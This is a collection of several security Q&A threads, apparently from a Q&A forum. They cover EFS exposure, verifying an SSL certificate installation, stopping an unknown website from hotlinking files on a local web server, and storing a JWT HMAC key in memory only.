Assuming your micro server can't access your main server, the question comes down to whether EFS provides another means to attack the main server. EFS is just a hosted NFS share where you're billed for usage.

I personally don't see any way EFS could be used to attack the main server. That's not to say there isn't a way, just that I can't see one.


How to tell if a SSL certificate is deployed correctly and check if it is working? I have installed a SSL certificate on a server. Now, I want to check if it is correctly installed and is working. I have heard from my friend that when you are installing your own certificates in keystore the alias should be same as it is in the application code which communicates using port 443 with its partners having same chain of certificates.
Can you tell me how we check if a certificate is correctly installed?

Use SSL Labs
For a first test, run the URL through SSL Labs:

https://www.ssllabs.com/ssltest/ (Be sure to check the Do not show the results on the boards checkbox.)
Or try HTBridge: https://www.htbridge.com/ssl/ (Be sure to check the Do not display test results in statistics checkbox.)

This will tell you if the certificate is correctly installed when looking at it from the outside.
Keystore alias probably won't matter
Now concerning the "keystore alias": That is only visible from inside the server. So you will have to ask the developers of your specific software if their software cares about the alias. (I don't think it should care about it.)


Unknown Website Linking to my Local Files? I recently discovered a website that I am in no way affiliated with linking to the files of my local website stored on an external hard drive. This unknown website is actually executing the scripts, even my local favicon shows as their favicon. When I disconnect my external hard drive, this website reports Object not found! and a 404 error.

I have antivirus software and a firewall setup and neither report a problem. What do I do?

You are running a web server I assume and although you might be using it locally, you must have either an open port exposing access to it on the public side or your website is a public facing one to being with. In which case, hotlinking to your file is not a virus behavior, its like anyone hotlinking to your resources on the web. There are permissions you can set on your webserver that will prohibit external hotlinking to your files. This will ensure the files are accessible only if they have been delivered through your own webserver/website. To help you fix that, we need to know a few things:

What web server software are you using? (IIS, Apache, etc.)
Are you using LOCALHOST/127.0.0.1 like an intranet only or is it public facing accessible? (meaning you either port forwarded 80/88/8080 to your private IP range or if you are using public facing IP and just have the web port open, so typing http://YOUR_IP brings up your site)

If you are ONLY using it as an intranet and you don't want it to be accessible on the web, then just simply close the web port on your system and it will prevent outside access, simplest solution.

If you want to be able to access it from outside and therefore must have the port open, then you need to use access permissions (or ACL of some kind) to prevent access outside your own website. For this we need to know what web software you are running so specific instructions can be given.

If you are using Apache, then .htaccess is your best friend and you should really read this and get familiar with this beast. Its a well done resource. You can also look through Apache documentation too. Not as friendly, more technical.

On Windows for IIS, its a bit more complicated but definitely doable, especially they have a GUI for it but you are always welcome to go old school CLI if you like. This lays out a pretty good guide and iis.net is a pretty resource to check as well.

Anything more specific and you have to let us know your configuration, I gave you these links so that if you choose not to and know enough to do it on your own, you have some guides.


Is it reasonable to store HMAC secret key in memory only? I'm building a web application using Spring Boot for the backend and Angular for the frontend and planning on using JWTs signed with HMAC-SHA256 for authentication/authorization.

I've been thinking about what would be the best place to store the secret key and i've come up with the idea that i'd simply generate a random key when starting the server (and would not persist it anywhere) and use that to generate/verify the tokens.

I think this approach would be quite simple to implement and more secure than persisting the key.

The only downside i see is the issued tokens would become invalid on server restarts.

I haven't really seen this anywhere, so i'm not sure if it's a stupid idea or not.

Any insight would be appreciated.

I get why you would want to rotate your secret key during a server restart. But, I believe the same can be achieved by managing the expiry time of your issued tokens. Moreover, it would improve the user experience, since users won't have to authenticate every time you restart the server.